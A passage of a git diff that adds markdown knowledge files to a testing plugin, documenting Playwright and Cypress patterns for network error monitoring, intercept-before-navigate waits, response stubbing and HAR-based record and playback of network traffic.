+  {
+    "url": "https://api.example.com/users",
+    "status": 500,
+    "method": "GET",
+    "timestamp": "2025-11-10T12:34:56.789Z"
+  },
+  {
+    "url": "https://api.example.com/metrics",
+    "status": 503,
+    "method": "POST",
+    "timestamp": "2025-11-10T12:34:57.123Z"
+  }
+]
+```
+
+## Implementation Details
+
+### How It Works
+
+1. **Fixture Extension**: Uses Playwright's `base.extend()` with `auto: true`
+2. **Response Listener**: Attaches `page.on('response')` listener at test start
+3. **Multi-Page Monitoring**: Automatically monitors popups and new tabs via `context.on('page')`
+4. **Error Collection**: Captures 4xx/5xx responses, checking exclusion patterns
+5. **Try/Finally**: Ensures error processing runs even if test fails early
+6. **Status Check**: Only throws errors if test hasn't already reached final status
+7. **Artifact**: Attaches JSON file to test report for debugging
+
+### Performance
+
+The monitor has minimal performance impact:
+
+- Event listener overhead: ~0.1ms per response
+- Memory: ~200 bytes per unique error
+- No network delay (observes responses, doesn't intercept them)
+
+## Comparison with Alternatives
+
+| Approach                    | Network Error Monitor | Manual afterEach      |
+| --------------------------- | --------------------- | --------------------- |
+| **Setup Required**          | Zero (auto-enabled)   | Every test file       |
+| **Catches Silent Failures** | Yes                   | Yes (if configured)   |
+| **Structured Artifacts**    | JSON attached         | Custom impl           |
+| **Test Failure Safety**     | Try/finally           | afterEach may not run |
+| **Opt-Out Mechanism**       | Annotation            | Custom logic          |
+| **Status Aware**            | Respects skip/failed  | No                    |
+
+## When to Use
+
+**Auto-enabled for:**
+
+- All E2E tests
+- Integration tests
+- Any test hitting real APIs
+
+**Opt-out for:**
+
+- Validation tests (expecting 4xx)
+- Error handling tests (expecting 5xx)
+- Offline tests (network-recorder playback)
+
+## Troubleshooting
+
+### Test fails with network errors but I don't see them in my app
+
+The errors might be happening during page load or in background polling. Check the `network-errors.json` artifact in your test report for full details including timestamps.
+
+### False positives from external services
+
+Configure exclusion patterns as shown in the "Excluding Legitimate Errors" section above.
+
+### Network errors not being caught
+
+Ensure you're importing the test from the correct fixture:
+
+```typescript
+// Correct
+import { test } from '@seontechnologies/playwright-utils/network-error-monitor/fixtures';
+
+// Wrong - this won't have network monitoring
+import { test } from '@playwright/test';
+```
+
+## Related Fragments
+
+- `overview.md` - Installation and fixtures
+- `fixtures-composition.md` - Merging with other utilities
+- `error-handling.md` - Traditional error handling patterns
+
+## Anti-Patterns
+
+**DON'T opt out of monitoring globally:**
+
+```typescript
+// Every test skips monitoring
+test.use({ annotation: [{ type: 'skipNetworkMonitoring' }] });
+```
+
+**DO opt-out only for specific error tests:**
+
+```typescript
+test.describe('error scenarios', { annotation: [{ type: 'skipNetworkMonitoring' }] }, () => {
+  // Only these tests skip monitoring
+});
+```
+
+**DON'T ignore network error artifacts:**
+
+```typescript
+// Test fails, artifact shows 500 errors
+// Developer: "Works on my machine" ¯\_(ツ)_/¯
+```
+
+**DO check artifacts for root cause:**
+
+```typescript
+// Read network-errors.json artifact
+// Identify failing endpoint: GET /api/users -> 500
+// Fix backend issue before merging
+```
diff --git a/plugins/bmad/skills/bmad-testarch-framework/resources/knowledge/network-first.md b/plugins/bmad/skills/bmad-testarch-framework/resources/knowledge/network-first.md
new file mode 100644
index 0000000..fcc31a9
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-framework/resources/knowledge/network-first.md
@@ -0,0 +1,486 @@
+# Network-First Safeguards
+
+## Principle
+
+Register network interceptions **before** any navigation or user action. Store the interception promise and await it immediately after the triggering step. Replace implicit waits with deterministic signals based on network responses, spinner disappearance, or event hooks.
+
+## Rationale
+
+The most common source of flaky E2E tests is **race conditions** between navigation and network interception:
+
+- Navigate then intercept = missed requests (too late)
+- No explicit wait = assertion runs before response arrives
+- Hard waits (`waitForTimeout(3000)`) = slow, unreliable, brittle
+
+Network-first patterns provide:
+
+- **Zero race conditions**: Intercept is active before triggering action
+- **Deterministic waits**: Wait for actual response, not arbitrary timeouts
+- **Actionable failures**: Assert on response status/body, not generic "element not found"
+- **Speed**: No padding with extra wait time
+
+## Pattern Examples
+
+### Example 1: Intercept Before Navigate Pattern
+
+**Context**: The foundational pattern for all E2E tests. Always register route interception **before** the action that triggers the request (navigation, click, form submit).
+
+**Implementation**:
+
+```typescript
+// ✅ CORRECT: Intercept BEFORE navigate
+test('user can view dashboard data', async ({ page }) => {
+  // Step 1: Register interception FIRST
+  const usersPromise = page.waitForResponse((resp) => resp.url().includes('/api/users') && resp.status() === 200);
+
+  // Step 2: THEN trigger the request
+  await page.goto('/dashboard');
+
+  // Step 3: THEN await the response
+  const usersResponse = await usersPromise;
+  const users = await usersResponse.json();
+
+  // Step 4: Assert on structured data
+  expect(users).toHaveLength(10);
+  await expect(page.getByText(users[0].name)).toBeVisible();
+});
+
+// Cypress equivalent
+describe('Dashboard', () => {
+  it('should display users', () => {
+    // Step 1: Register interception FIRST
+    cy.intercept('GET', '**/api/users').as('getUsers');
+
+    // Step 2: THEN trigger
+    cy.visit('/dashboard');
+
+    // Step 3: THEN await
+    cy.wait('@getUsers').then((interception) => {
+      // Step 4: Assert on structured data
+      expect(interception.response.statusCode).to.equal(200);
+      expect(interception.response.body).to.have.length(10);
+      cy.contains(interception.response.body[0].name).should('be.visible');
+    });
+  });
+});
+
+// ❌ WRONG: Navigate BEFORE intercept (race condition!)
+test('flaky test example', async ({ page }) => {
+  await page.goto('/dashboard'); // Request fires immediately
+
+  const usersPromise = page.waitForResponse('/api/users'); // TOO LATE - might miss it
+  const response = await usersPromise; // May timeout randomly
+});
+```
+
+**Key Points**:
+
+- Playwright: Use `page.waitForResponse()` with URL pattern or predicate **before** `page.goto()` or `page.click()`
+- Cypress: Use `cy.intercept().as()` **before** `cy.visit()` or `cy.click()`
+- Store promise/alias, trigger action, **then** await response
+- This prevents 95% of race-condition flakiness in E2E tests
+
+### Example 2: HAR Capture for Debugging
+
+**Context**: When debugging flaky tests or building deterministic mocks, capture real network traffic with HAR files. Replay them in tests for consistent, offline-capable test runs.
+
+**Implementation**:
+
+```typescript
+// playwright.config.ts - Enable HAR recording
+export default defineConfig({
+  use: {
+    // Record HAR on first run
+    recordHar: { path: './hars/', mode: 'minimal' },
+    // Or replay HAR in tests
+    // serviceWorkers: 'block',
+  },
+});
+
+// Capture HAR for specific test
+test('capture network for order flow', async ({ page, context }) => {
+  // Start recording
+  await context.routeFromHAR('./hars/order-flow.har', {
+    url: '**/api/**',
+    update: true, // Update HAR with new requests
+  });
+
+  await page.goto('/checkout');
+  await page.fill('[data-testid="credit-card"]', '4111111111111111');
+  await page.click('[data-testid="submit-order"]');
+  await expect(page.getByText('Order Confirmed')).toBeVisible();
+
+  // HAR saved to ./hars/order-flow.har
+});
+
+// Replay HAR for deterministic tests (no real API needed)
+test('replay order flow from HAR', async ({ page, context }) => {
+  // Replay captured HAR
+  await context.routeFromHAR('./hars/order-flow.har', {
+    url: '**/api/**',
+    update: false, // Read-only mode
+  });
+
+  // Test runs with exact recorded responses - fully deterministic
+  await page.goto('/checkout');
+  await page.fill('[data-testid="credit-card"]', '4111111111111111');
+  await page.click('[data-testid="submit-order"]');
+  await expect(page.getByText('Order Confirmed')).toBeVisible();
+});
+
+// Custom mock based on HAR insights
+test('mock order response based on HAR', async ({ page }) => {
+  // After analyzing HAR, create focused mock
+  await page.route('**/api/orders', (route) =>
+    route.fulfill({
+      status: 200,
+      contentType: 'application/json',
+      body: JSON.stringify({
+        orderId: '12345',
+        status: 'confirmed',
+        total: 99.99,
+      }),
+    }),
+  );
+
+  await page.goto('/checkout');
+  await page.click('[data-testid="submit-order"]');
+  await expect(page.getByText('Order #12345')).toBeVisible();
+});
+```
+
+**Key Points**:
+
+- HAR files capture real request/response pairs for analysis
+- `update: true` records new traffic; `update: false` replays existing
+- Replay mode makes tests fully deterministic (no upstream API needed)
+- Use HAR to understand API contracts, then create focused mocks
+
+### Example 3: Network Stub with Edge Cases
+
+**Context**: When testing error handling, timeouts, and edge cases, stub network responses to simulate failures. Test both happy path and error scenarios.
+
+**Implementation**:
+
+```typescript
+// Test happy path
+test('order succeeds with valid data', async ({ page }) => {
+  await page.route('**/api/orders', (route) =>
+    route.fulfill({
+      status: 200,
+      contentType: 'application/json',
+      body: JSON.stringify({ orderId: '123', status: 'confirmed' }),
+    }),
+  );
+
+  await page.goto('/checkout');
+  await page.click('[data-testid="submit-order"]');
+  await expect(page.getByText('Order Confirmed')).toBeVisible();
+});
+
+// Test 500 error
+test('order fails with server error', async ({ page }) => {
+  // Listen for console errors (app should log gracefully)
+  const consoleErrors: string[] = [];
+  page.on('console', (msg) => {
+    if (msg.type() === 'error') consoleErrors.push(msg.text());
+  });
+
+  // Stub 500 error
+  await page.route('**/api/orders', (route) =>
+    route.fulfill({
+      status: 500,
+      contentType: 'application/json',
+      body: JSON.stringify({ error: 'Internal Server Error' }),
+    }),
+  );
+
+  await page.goto('/checkout');
+  await page.click('[data-testid="submit-order"]');
+
+  // Assert UI shows error gracefully
+  await expect(page.getByText('Something went wrong')).toBeVisible();
+  await expect(page.getByText('Please try again')).toBeVisible();
+
+  // Verify error logged (not thrown)
+  expect(consoleErrors.some((e) => e.includes('Order failed'))).toBeTruthy();
+});
+
+// Test network timeout
+test('order times out after 10 seconds', async ({ page }) => {
+  // Stub delayed response (never resolves within timeout)
+  await page.route(
+    '**/api/orders',
+    (route) => new Promise(() => {}), // Never resolves - simulates timeout
+  );
+
+  await page.goto('/checkout');
+  await page.click('[data-testid="submit-order"]');
+
+  // App should show timeout message after configured timeout
+  await expect(page.getByText('Request timed out')).toBeVisible({ timeout: 15000 });
+});
+
+// Test partial data response
+test('order handles missing optional fields', async ({ page }) => {
+  await page.route('**/api/orders', (route) =>
+    route.fulfill({
+      status: 200,
+      contentType: 'application/json',
+      // Missing optional fields like 'trackingNumber', 'estimatedDelivery'
+      body: JSON.stringify({ orderId: '123', status: 'confirmed' }),
+    }),
+  );
+
+  await page.goto('/checkout');
+  await page.click('[data-testid="submit-order"]');
+
+  // App should handle gracefully - no crash, shows what's available
+  await expect(page.getByText('Order Confirmed')).toBeVisible();
+  await expect(page.getByText('Tracking information pending')).toBeVisible();
+});
+
+// Cypress equivalents
+describe('Order Edge Cases', () => {
+  it('should handle 500 error', () => {
+    cy.intercept('POST', '**/api/orders', {
+      statusCode: 500,
+      body: { error: 'Internal Server Error' },
+    }).as('orderFailed');
+
+    cy.visit('/checkout');
+    cy.get('[data-testid="submit-order"]').click();
+    cy.wait('@orderFailed');
+    cy.contains('Something went wrong').should('be.visible');
+  });
+
+  it('should handle timeout', () => {
+    cy.intercept('POST', '**/api/orders', (req) => {
+      req.reply({ delay: 20000 }); // Delay beyond app timeout
+    }).as('orderTimeout');
+
+    cy.visit('/checkout');
+    cy.get('[data-testid="submit-order"]').click();
+    cy.contains('Request timed out', { timeout: 15000 }).should('be.visible');
+  });
+});
+```
+
+**Key Points**:
+
+- Stub different HTTP status codes (200, 400, 500, 503)
+- Simulate timeouts with `delay` or non-resolving promises
+- Test partial/incomplete data responses
+- Verify app handles errors gracefully (no crashes, user-friendly messages)
+
+### Example 4: Deterministic Waiting
+
+**Context**: Never use hard waits (`waitForTimeout(3000)`). Always wait for explicit signals: network responses, element state changes, or custom events.
+
+**Implementation**:
+
+```typescript
+// ✅ GOOD: Wait for response with predicate
+test('wait for specific response', async ({ page }) => {
+  const responsePromise = page.waitForResponse((resp) => resp.url().includes('/api/users') && resp.status() === 200);
+
+  await page.goto('/dashboard');
+  const response = await responsePromise;
+
+  expect(response.status()).toBe(200);
+  await expect(page.getByText('Dashboard')).toBeVisible();
+});
+
+// ✅ GOOD: Wait for multiple responses
+test('wait for all required data', async ({ page }) => {
+  const usersPromise = page.waitForResponse('**/api/users');
+  const productsPromise = page.waitForResponse('**/api/products');
+  const ordersPromise = page.waitForResponse('**/api/orders');
+
+  await page.goto('/dashboard');
+
+  // Wait for all in parallel
+  const [users, products, orders] = await Promise.all([usersPromise, productsPromise, ordersPromise]);
+
+  expect(users.status()).toBe(200);
+  expect(products.status()).toBe(200);
+  expect(orders.status()).toBe(200);
+});
+
+// ✅ GOOD: Wait for spinner to disappear
+test('wait for loading indicator', async ({ page }) => {
+  await page.goto('/dashboard');
+
+  // Wait for spinner to disappear (signals data loaded)
+  await expect(page.getByTestId('loading-spinner')).not.toBeVisible();
+  await expect(page.getByText('Dashboard')).toBeVisible();
+});
+
+// ✅ GOOD: Wait for custom event (advanced)
+test('wait for custom ready event', async ({ page }) => {
+  let appReady = false;
+  page.on('console', (msg) => {
+    if (msg.text() === 'App ready') appReady = true;
+  });
+
+  await page.goto('/dashboard');
+
+  // Poll until custom condition met
+  await page.waitForFunction(() => appReady, { timeout: 10000 });
+
+  await expect(page.getByText('Dashboard')).toBeVisible();
+});
+
+// ❌ BAD: Hard wait (arbitrary timeout)
+test('flaky hard wait example', async ({ page }) => {
+  await page.goto('/dashboard');
+  await page.waitForTimeout(3000); // WHY 3 seconds? What if slower? What if faster?
+  await expect(page.getByText('Dashboard')).toBeVisible(); // May fail if >3s
+});
+
+// Cypress equivalents
+describe('Deterministic Waiting', () => {
+  it('should wait for response', () => {
+    cy.intercept('GET', '**/api/users').as('getUsers');
+    cy.visit('/dashboard');
+    cy.wait('@getUsers').its('response.statusCode').should('eq', 200);
+    cy.contains('Dashboard').should('be.visible');
+  });
+
+  it('should wait for spinner to disappear', () => {
+    cy.visit('/dashboard');
+    cy.get('[data-testid="loading-spinner"]').should('not.exist');
+    cy.contains('Dashboard').should('be.visible');
+  });
+
+  // ❌ BAD: Hard wait
+  it('flaky hard wait', () => {
+    cy.visit('/dashboard');
+    cy.wait(3000); // NEVER DO THIS
+    cy.contains('Dashboard').should('be.visible');
+  });
+});
+```
+
+**Key Points**:
+
+- `waitForResponse()` with URL pattern or predicate = deterministic
+- `waitForLoadState('networkidle')` = wait for all network activity to finish
+- Wait for element state changes (spinner disappears, button enabled)
+- **NEVER** use `waitForTimeout()` or `cy.wait(ms)` - always non-deterministic
+
+### Example 5: Anti-Pattern - Navigate Then Mock
+
+**Problem**:
+
+```typescript
+// ❌ BAD: Race condition - mock registered AFTER navigation starts
+test('flaky test - navigate then mock', async ({ page }) => {
+  // Navigation starts immediately
+  await page.goto('/dashboard'); // Request to /api/users fires NOW
+
+  // Mock registered too late - request already sent
+  await page.route('**/api/users', (route) =>
+    route.fulfill({
+      status: 200,
+      body: JSON.stringify([{ id: 1, name: 'Test User' }]),
+    }),
+  );
+
+  // Test randomly passes/fails depending on timing
+  await expect(page.getByText('Test User')).toBeVisible(); // Flaky!
+});
+
+// ❌ BAD: No wait for response
+test('flaky test - no explicit wait', async ({ page }) => {
+  await page.route('**/api/users', (route) => route.fulfill({ status: 200, body: JSON.stringify([]) }));
+
+  await page.goto('/dashboard');
+
+  // Assertion runs immediately - may fail if response slow
+  await expect(page.getByText('No users found')).toBeVisible(); // Flaky!
+});
+
+// ❌ BAD: Generic timeout
+test('flaky test - hard wait', async ({ page }) => {
+  await page.goto('/dashboard');
+  await page.waitForTimeout(2000); // Arbitrary wait - brittle
+
+  await expect(page.getByText('Dashboard')).toBeVisible();
+});
+```
+
+**Why It Fails**:
+
+- **Mock after navigate**: Request fires during navigation, mock isn't active yet (race condition)
+- **No explicit wait**: Assertion runs before response arrives (timing-dependent)
+- **Hard waits**: Slow tests, brittle (fails if < timeout, wastes time if > timeout)
+- **Non-deterministic**: Passes locally, fails in CI (different speeds)
+
+**Better Approach**: Always intercept → trigger → await
+
+```typescript
+// ✅ GOOD: Intercept BEFORE navigate
+test('deterministic test', async ({ page }) => {
+  // Step 1: Register mock FIRST
+  await page.route('**/api/users', (route) =>
+    route.fulfill({
+      status: 200,
+      contentType: 'application/json',
+      body: JSON.stringify([{ id: 1, name: 'Test User' }]),
+    }),
+  );
+
+  // Step 2: Store response promise BEFORE trigger
+  const responsePromise = page.waitForResponse('**/api/users');
+
+  // Step 3: THEN trigger
+  await page.goto('/dashboard');
+
+  // Step 4: THEN await response
+  await responsePromise;
+
+  // Step 5: THEN assert (data is guaranteed loaded)
+  await expect(page.getByText('Test User')).toBeVisible();
+});
+```
+
+**Key Points**:
+
+- Order matters: Mock → Promise → Trigger → Await → Assert
+- No race conditions: Mock is active before request fires
+- Explicit wait: Response promise ensures data loaded
+- Deterministic: Always passes if app works correctly
+
+## Integration Points
+
+- **Used in workflows**: `*atdd` (test generation), `*automate` (test expansion), `*framework` (network setup)
+- **Related fragments**:
+  - `fixture-architecture.md` - Network fixture patterns
+  - `data-factories.md` - API-first setup with network
+  - `test-quality.md` - Deterministic test principles
+
+## Debugging Network Issues
+
+When network tests fail, check:
+
+1. **Timing**: Is interception registered **before** action?
+2. **URL pattern**: Does pattern match actual request URL?
+3. **Response format**: Is mocked response valid JSON/format?
+4. **Status code**: Is app checking for 200 vs 201 vs 204?
+5. **HAR file**: Capture real traffic to understand actual API contract
+
+```typescript
+// Debug network issues with logging
+test('debug network', async ({ page }) => {
+  // Log all requests
+  page.on('request', (req) => console.log('→', req.method(), req.url()));
+
+  // Log all responses
+  page.on('response', (resp) => console.log('←', resp.status(), resp.url()));
+
+  await page.goto('/dashboard');
+});
+```
+
+_Source: Murat Testing Philosophy (lines 94-137), Playwright network patterns, Cypress intercept best practices._
diff --git a/plugins/bmad/skills/bmad-testarch-framework/resources/knowledge/network-recorder.md b/plugins/bmad/skills/bmad-testarch-framework/resources/knowledge/network-recorder.md
new file mode 100644
index 0000000..ca86323
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-framework/resources/knowledge/network-recorder.md
@@ -0,0 +1,527 @@
+# Network Recorder Utility
+
+## Principle
+
+Record network traffic to HAR files during test execution, then play back from disk for offline testing. Enables frontend tests to run in complete isolation from backend services with intelligent stateful CRUD detection for realistic API behavior.
+
+## Rationale
+
+Traditional E2E tests require live backend services:
+
+- Slow (real network latency)
+- Flaky (backend instability affects tests)
+- Expensive (full stack running for UI tests)
+- Coupled (UI tests break when API changes)
+
+HAR-based recording/playback provides:
+
+- **True offline testing**: UI tests run without backend
+- **Deterministic behavior**: Same responses every time
+- **Fast execution**: No network latency
+- **Stateful mocking**: CRUD operations work naturally (not just read-only)
+- **Environment flexibility**: Map URLs for any environment
+
+## Quick Start
+
+### 1. Record Network Traffic
+
+```typescript
+// Set mode to 'record' to capture network traffic
+process.env.PW_NET_MODE = 'record';
+
+test('should add, edit and delete a movie', async ({ page, context, networkRecorder }) => {
+  // Setup network recorder - it will record all network traffic
+  await networkRecorder.setup(context);
+
+  // Your normal test code
+  await page.goto('/');
+  await page.fill('#movie-name', 'Inception');
+  await page.click('#add-movie');
+
+  // Network traffic is automatically saved to HAR file
+});
+```
+
+### 2. Playback Network Traffic
+
+```typescript
+// Set mode to 'playback' to use recorded traffic
+process.env.PW_NET_MODE = 'playback';
+
+test('should add, edit and delete a movie', async ({ page, context, networkRecorder }) => {
+  // Setup network recorder - it will replay from HAR file
+  await networkRecorder.setup(context);
+
+  // Same test code runs without hitting real backend!
+  await page.goto('/');
+  await page.fill('#movie-name', 'Inception');
+  await page.click('#add-movie');
+});
+```
+
+That's it! Your tests now run completely offline using recorded network traffic.
+
+## Pattern Examples
+
+### Example 1: Basic Record and Playback
+
+**Context**: The fundamental pattern - record traffic once, play back for all subsequent runs.
+
+**Implementation**:
+
+```typescript
+import { test } from '@seontechnologies/playwright-utils/network-recorder/fixtures';
+
+// Set mode in test file (recommended)
+process.env.PW_NET_MODE = 'playback'; // or 'record'
+
+test('CRUD operations work offline', async ({ page, context, networkRecorder }) => {
+  // Setup recorder (records or plays back based on PW_NET_MODE)
+  await networkRecorder.setup(context);
+
+  await page.goto('/');
+
+  // First time (record mode): Records all network traffic to HAR
+  // Subsequent runs (playback mode): Plays back from HAR (no backend!)
+  await page.fill('#movie-name', 'Inception');
+  await page.click('#add-movie');
+
+  // Intelligent CRUD detection makes this work offline!
+  await expect(page.getByText('Inception')).toBeVisible();
+});
+```
+
+**Key Points**:
+
+- `PW_NET_MODE=record` captures traffic to HAR files
+- `PW_NET_MODE=playback` replays from HAR files
+- Set mode in test file or via environment variable
+- HAR files auto-organized by test name
+- Stateful mocking detects CRUD operations
+
+### Example 2: Complete CRUD Flow with HAR
+
+**Context**: Full create-read-update-delete flow that works completely offline.
+
+**Implementation**:
+
+```typescript
+process.env.PW_NET_MODE = 'playback';
+
+test.describe('Movie CRUD - offline with network recorder', () => {
+  test.beforeEach(async ({ page, networkRecorder, context }) => {
+    await networkRecorder.setup(context);
+    await page.goto('/');
+  });
+
+  test('should add, edit, delete movie browser-only', async ({ page, interceptNetworkCall }) => {
+    // Create
+    await page.fill('#movie-name', 'Inception');
+    await page.fill('#year', '2010');
+    await page.click('#add-movie');
+
+    // Verify create (reads from stateful HAR)
+    await expect(page.getByText('Inception')).toBeVisible();
+
+    // Update
+    await page.getByText('Inception').click();
+    await page.fill('#movie-name', "Inception Director's Cut");
+
+    const updateCall = interceptNetworkCall({
+      method: 'PUT',
+      url: '/movies/*',
+    });
+
+    await page.click('#save');
+    await updateCall; // Wait for update
+
+    // Verify update (HAR reflects state change!)
+    await page.click('#back');
+    await expect(page.getByText("Inception Director's Cut")).toBeVisible();
+
+    // Delete
+    await page.click(`[data-testid="delete-Inception Director's Cut"]`);
+
+    // Verify delete (HAR reflects removal!)
+    await expect(page.getByText("Inception Director's Cut")).not.toBeVisible();
+  });
+});
+```
+
+**Key Points**:
+
+- Full CRUD operations work offline
+- Stateful HAR mocking tracks creates/updates/deletes
+- Combine with `interceptNetworkCall` for deterministic waits
+- First run records, subsequent runs replay
+
+### Example 3: Common Patterns
+
+**Recording Only API Calls**:
+
+```typescript
+await networkRecorder.setup(context, {
+  recording: {
+    urlFilter: /\/api\//, // Only record API calls, ignore static assets
+  },
+});
+```
+
+**Playback with Fallback**:
+
+```typescript
+await networkRecorder.setup(context, {
+  playback: {
+    fallback: true, // Fall back to live requests if HAR entry missing
+  },
+});
+```
+
+**Custom HAR File Location**:
+
+```typescript
+await networkRecorder.setup(context, {
+  harFile: {
+    harDir: 'recordings/api-calls',
+    baseName: 'user-journey',
+    organizeByTestFile: false, // Optional: flatten directory structure
+  },
+});
+```
+
+**Directory Organization:**
+
+- `organizeByTestFile: true` (default): `har-files/test-file-name/baseName-test-title.har`
+- `organizeByTestFile: false`: `har-files/baseName-test-title.har`
+
+### Example 4: Response Content Storage - Embed vs Attach
+
+**Context**: Choose how response content is stored in HAR files.
+
+**`embed` (Default - Recommended):**
+
+```typescript
+await networkRecorder.setup(context, {
+  recording: {
+    content: 'embed', // Store content inline (default)
+  },
+});
+```
+
+**Pros:**
+
+- Single self-contained file - Easy to share, version control
+- Better for small-medium responses (API JSON, HTML pages)
+- HAR specification compliant
+
+**Cons:**
+
+- Larger HAR files
+- Not ideal for large binary content (images, videos)
+
+**`attach` (Alternative):**
+
+```typescript
+await networkRecorder.setup(context, {
+  recording: {
+    content: 'attach', // Store content separately
+  },
+});
+```
+
+**Pros:**
+
+- Smaller HAR files
+- Better for large responses (images, videos, documents)
+
+**Cons:**
+
+- Multiple files to manage
+- Harder to share
+
+**When to Use Each:**
+
+| Use `embed` (default) when          | Use `attach` when               |
+| ----------------------------------- | ------------------------------- |
+| Recording API responses (JSON, XML) | Recording large images, videos  |
+| Small to medium HTML pages          | HAR file size >50MB             |
+| You want a single, portable file    | Maximum disk efficiency needed  |
+| Sharing HAR files with team         | Working with ZIP archive output |
+
+### Example 5: Cross-Environment Compatibility (URL Mapping)
+
+**Context**: Record in dev environment, play back in CI with different base URLs.
+
+**The Problem**: HAR files contain URLs for the recording environment (e.g., `dev.example.com`). Playing back on a different environment fails.
+
+**Simple Hostname Mapping:**
+
+```typescript
+await networkRecorder.setup(context, {
+  playback: {
+    urlMapping: {
+      hostMapping: {
+        'preview.example.com': 'dev.example.com',
+        'staging.example.com': 'dev.example.com',
+        'localhost:3000': 'dev.example.com',
+      },
+    },
+  },
+});
+```
+
+**Pattern-Based Mapping (Recommended):**
+
+```typescript
+await networkRecorder.setup(context, {
+  playback: {
+    urlMapping: {
+      patterns: [
+        // Map any preview-XXXX subdomain to dev
+        { match: /preview-\d+\.example\.com/, replace: 'dev.example.com' },
+      ],
+    },
+  },
+});
+```
+
+**Custom Function:**
+
+```typescript
+await networkRecorder.setup(context, {
+  playback: {
+    urlMapping: {
+      mapUrl: (url) => url.replace('staging.example.com', 'dev.example.com'),
+    },
+  },
+});
+```
+
+**Complex Multi-Environment Example:**
+
+```typescript
+await networkRecorder.setup(context, {
+  playback: {
+    urlMapping: {
+      hostMapping: {
+        'localhost:3000': 'admin.example.com',
+        'admin-staging.example.com': 'admin.example.com',
+        'admin.example.com': 'admin.example.com',
+      },
+      patterns: [
+        { match: /admin-\d+\.example\.com/, replace: 'admin.example.com' },
+        { match: /admin-staging-pr-\w+-\d\.example\.com/, replace: 'admin.example.com' },
+      ],
+    },
+  },
+});
+```
+
+**Benefits:**
+
+- Record once on dev, all environments map back to recordings
+- CORS headers automatically updated based on request origin
+- Debug with: `LOG_LEVEL=debug npm run test`
+
+## Why Use This Instead of Native Playwright?
+
+| Native Playwright (`routeFromHAR`) | network-recorder Utility       |
+| ---------------------------------- | ------------------------------ |
+| ~80 lines setup boilerplate        | ~5 lines total                 |
+| Manual HAR file management         | Automatic file organization    |
+| Complex setup/teardown             | Automatic cleanup via fixtures |
+| **Read-only tests only**           | **Full CRUD support**          |
+| **Stateless**                      | **Stateful mocking**           |
+| Manual URL mapping                 | Automatic environment mapping  |
+
+**The game-changer: Stateful CRUD detection**
+
+Native Playwright HAR playback is stateless - a POST create followed by GET list won't show the created item. This utility intelligently tracks CRUD operations in memory to reflect state changes, making offline tests behave like real APIs.
+
+## How Stateful CRUD Detection Works
+
+When in playback mode, the Network Recorder automatically analyzes your HAR file to detect CRUD patterns. If it finds:
+
+- Multiple GET requests to the same resource endpoint (e.g., `/movies`)
+- Mutation operations (POST, PUT, DELETE) to those resources
+- Evidence of state changes between identical requests
+
+It automatically switches from static HAR playback to an intelligent stateful mock that:
+
+- Maintains state across requests
+- Auto-generates IDs for new resources
+- Returns proper 404s for deleted resources
+- Supports polling scenarios where state changes over time
+
+**This happens automatically - no configuration needed!**
+
+## API Reference
+
+### NetworkRecorder Methods
+
+| Method               | Return Type              | Description                                   |
+| -------------------- | ------------------------ | --------------------------------------------- |
+| `setup(context)`     | `Promise<void>`          | Sets up recording/playback on browser context |
+| `cleanup()`          | `Promise<void>`          | Flushes data to disk and cleans up memory     |
+| `getContext()`       | `NetworkRecorderContext` | Gets current recorder context information     |
+| `getStatusMessage()` | `string`                 | Gets human-readable status message            |
+| `getHarStats()`      | `Promise<HarFileStats>`  | Gets HAR file statistics and metadata         |
+
+### Understanding `cleanup()`
+
+The `cleanup()` method performs memory and resource cleanup - **it does NOT delete HAR files**:
+
+**What it does:**
+
+- Flushes recorded data to disk (writes HAR file in recording mode)
+- Releases file locks
+- Clears in-memory data
+- Resets internal state
+
+**What it does NOT do:**
+
+- Delete HAR files from disk
+- Remove recorded network traffic
+- Clear browser context or cookies
+
+### Configuration Options
+
+```typescript
+type NetworkRecorderConfig = {
+  harFile?: {
+    harDir?: string; // Directory for HAR files (default: 'har-files')
+    baseName?: string; // Base name for HAR files (default: 'network-traffic')
+    organizeByTestFile?: boolean; // Organize by test file (default: true)
+  };
+
+  recording?: {
+    content?: 'embed' | 'attach'; // Response content handling (default: 'embed')
+    urlFilter?: string | RegExp; // URL filter for recording
+    update?: boolean; // Update existing HAR files (default: false)
+  };
+
+  playback?: {
+    fallback?: boolean; // Fall back to live requests (default: false)
+    urlFilter?: string | RegExp; // URL filter for playback
+    updateMode?: boolean; // Update mode during playback (default: false)
+  };
+
+  forceMode?: 'record' | 'playback' | 'disabled';
+};
+```
+
+## Environment Configuration
+
+Control the recording mode using the `PW_NET_MODE` environment variable:
+
+```bash
+# Record mode - captures network traffic to HAR files
+PW_NET_MODE=record npm run test:pw
+
+# Playback mode - replays network traffic from HAR files
+PW_NET_MODE=playback npm run test:pw
+
+# Disabled mode - no network recording/playback
+PW_NET_MODE=disabled npm run test:pw
+
+# Default behavior (when PW_NET_MODE is empty/unset) - same as disabled
+npm run test:pw
+```
+
+**Tip**: We recommend setting `process.env.PW_NET_MODE` directly in your test file for better control.
+
+## Troubleshooting
+
+### HAR File Not Found
+
+If you see "HAR file not found" errors during playback:
+
+1. Ensure you've recorded the test first with `PW_NET_MODE=record`
+2. Check the HAR file exists in the expected location (usually `har-files/`)
+3. Enable fallback mode: `playback: { fallback: true }`
+
+### Authentication and Network Recording
+
+The network recorder works seamlessly with authentication:
+
+```typescript
+test('Authenticated recording', async ({ page, context, authSession, networkRecorder }) => {
+  // First authenticate
+  await authSession.login('testuser', 'password');
+
+  // Then setup network recording with authenticated context
+  await networkRecorder.setup(context);
+
+  // Test authenticated flows
+  await page.goto('/dashboard');
+});
+```
+
+### Concurrent Test Issues
+
+The recorder includes built-in file locking for safe parallel execution. Each test gets its own HAR file based on the test name.
+
+## Integration with Other Utilities
+
+**With interceptNetworkCall (deterministic waits):**
+
+```typescript
+test('use both utilities', async ({ page, context, networkRecorder, interceptNetworkCall }) => {
+  await networkRecorder.setup(context);
+
+  const createCall = interceptNetworkCall({
+    method: 'POST',
+    url: '/api/movies',
+  });
+
+  await page.click('#add-movie');
+  await createCall; // Wait for create (works with HAR!)
+
+  // Network recorder provides playback, intercept provides determinism
+});
+```
+
+## Related Fragments
+
+- `overview.md` - Installation and fixture patterns
+- `intercept-network-call.md` - Combine for deterministic offline tests
+- `auth-session.md` - Record authenticated traffic
+- `network-first.md` - Core pattern for intercept-before-navigate
+
+## Anti-Patterns
+
+**DON'T mix record and playback in same test:**
+
+```typescript
+process.env.PW_NET_MODE = 'record';
+// ... some test code ...
